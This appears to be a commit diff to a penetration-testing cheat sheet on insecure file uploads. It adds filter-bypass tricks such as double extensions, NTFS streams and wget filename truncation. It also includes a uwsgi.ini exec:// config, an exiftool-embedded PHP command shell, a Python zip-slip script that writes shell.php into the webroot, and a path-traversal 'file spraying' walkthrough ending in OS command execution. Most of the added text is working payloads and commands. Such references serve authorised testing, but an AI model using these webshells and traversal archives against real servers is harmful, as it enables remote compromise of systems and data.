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Update File Upload.md

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@ -34,6 +34,7 @@ shell.soap
* Perl: `.pl, .pm, .cgi, .lib`
* Coldfusion: `.cfm, .cfml, .cfc, .dbm`
* Node.js: `.js, .json, .node`
* Erlang Yaws Web Server: `.yaws`
## Upload tricks
* Use double extensions : `.jpg.php, .png.php5`
@ -69,6 +70,30 @@ shell.soap
* Shell can also be added in the metadata
* Using NTFS alternate data stream (ADS) in Windows. In this case, a colon character ":" will be inserted after a forbidden extension and before a permitted one. As a result, an empty file with the forbidden extension will be created on the server (e.g. "`file.asax:.jpg`"). This file might be edited later using other techniques such as using its short filename. The "::$data" pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. "`file.asp::$data.`")
* Try to break the filename limits. The valid extension gets cut off. And the malicious PHP gets left. AAA<--SNIP-->AAA.php
```bash
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png
```
## Filename vulnerabilities
Sometimes the vulnerability is not the upload but how the file is handled after. You might want to upload files with payloads in the filename.
@ -106,7 +131,23 @@ exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __h
If you are trying to upload files to a :
* PHP server, take a look at the [.htaccess](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/Configuration%20Apache%20.htaccess) trick to execute code.
* ASP server, take a look at the [web.config](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config) trick to execute code.
* uWSGI server, take a look at the [uwsgi.ini](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/Configuration%20uwsgi.ini/uwsgi.ini) trick to execute code.
* uWSGI server, take a look at the uwsgi.ini trick to execute code:
```bash
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
Configuration files examples
@ -116,6 +157,7 @@ Configuration files examples
* [__init__.py](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/Configuration%20Python%20__init__.py)
* [uwsgi.ini](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/Configuration%20uwsgi.ini/uwsgi.ini)
Alternatively you may be able to upload a JSON file with a custom scripts, try to overwrite a dependency manager configuration file.
* package.json
@ -165,13 +207,120 @@ zip --symlinks test.zip symindex.txt
Upload the XML file to `$JETTY_BASE/webapps/`
* [JettyShell.xml - From Mikhail Klyuchnikov](https://raw.githubusercontent.com/Mike-n1/tips/main/JettyShell.xml)
## wget File Upload/SSRF Trick
In some occasions you may find that a server is using wget to download files and you can indicate the URL. In these cases, the code may be checking that the extension of the downloaded files is inside a whitelist to assure that only allowed files are going to be downloaded. However, this check can be bypassed.
The maximum length of a filename in linux is 255, however, wget truncate the filenames to 236 characters. You can download a file called "A"*232+".php"+".gif", this filename will bypass the check (as in this example ".gif" is a valid extension) but wget will rename the file to "A"*232+".php".
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
```
```bash
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
```
> Note that another option you may be thinking of to bypass this check is to make the HTTP server redirect to a different file, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This won't work unless wget is being used with the parameter --trust-server-names because wget will download the redirected page with the name of the file indicated in the original URL.
## python code to create a malicious zip
```python
#!/usr/bin/python
import zipfile
from io import BytesIO
def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
create_zip()
```
* To achieve remote command execution I took the following steps:
1. Create a PHP shell:
```php
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
```
2. Use “file spraying” and create a compressed zip file:
```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# ls *.php
simple-backdoor.php xxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAcmd.php xxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAxxAcmd.php xxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAcmd.php
root@s2crew:/tmp# zip cmd.zip xx*.php
adding: xxAcmd.php (deflated 40%)
adding: xxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
root@s2crew:/tmp#
```
3. Use a hexeditor or vi and change the “xxA” to “../”, I used vi:
```bash
:set modifiable
:%s/xxA/..\//g
:x!
```
Done!
Only one step remained: Upload the ZIP file and let the application decompress it! If it is succeeds and the web server has sufficient privileges to write the directories there will be a simple OS command execution shell on the system.
## Here’s a top 10 list of things that you can achieve by uploading (from [link](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3:** Webshell / RCE
2. **SVG:** Stored XSS / SSRF / XXE
3. **GIF:** Stored XSS / SSRF
4. **CSV:** CSV injection
5. **XML:** XXE
6. **AVI:** LFI / SSRF
7. **HTML / JS:** HTML injection / XSS / Open redirect
8. **PNG / JPEG:** Pixel flood attack (DoS)
9. **ZIP:** RCE via LFI / DoS
10. **PDF / PPTX:** SSRF / BLIND XXE
## Tools
* [Fuxploider](https://github.com/almandin/fuxploider)
* [Burp > Upload Scanner](https://portswigger.net/bappstore/b2244cbb6953442cb3c82fa0a0d908fa)
* [Burp > Upload Scanner](https://portswigger.net/bappstore/b2244cbb6953442cb3c82fa0a0d908fa) and [github-portswigger](https://github.com/portswigger/upload-scanner)
* [ZAP > FileUpload AddOn](https://www.zaproxy.org/blog/2021-08-20-zap-fileupload-addon/)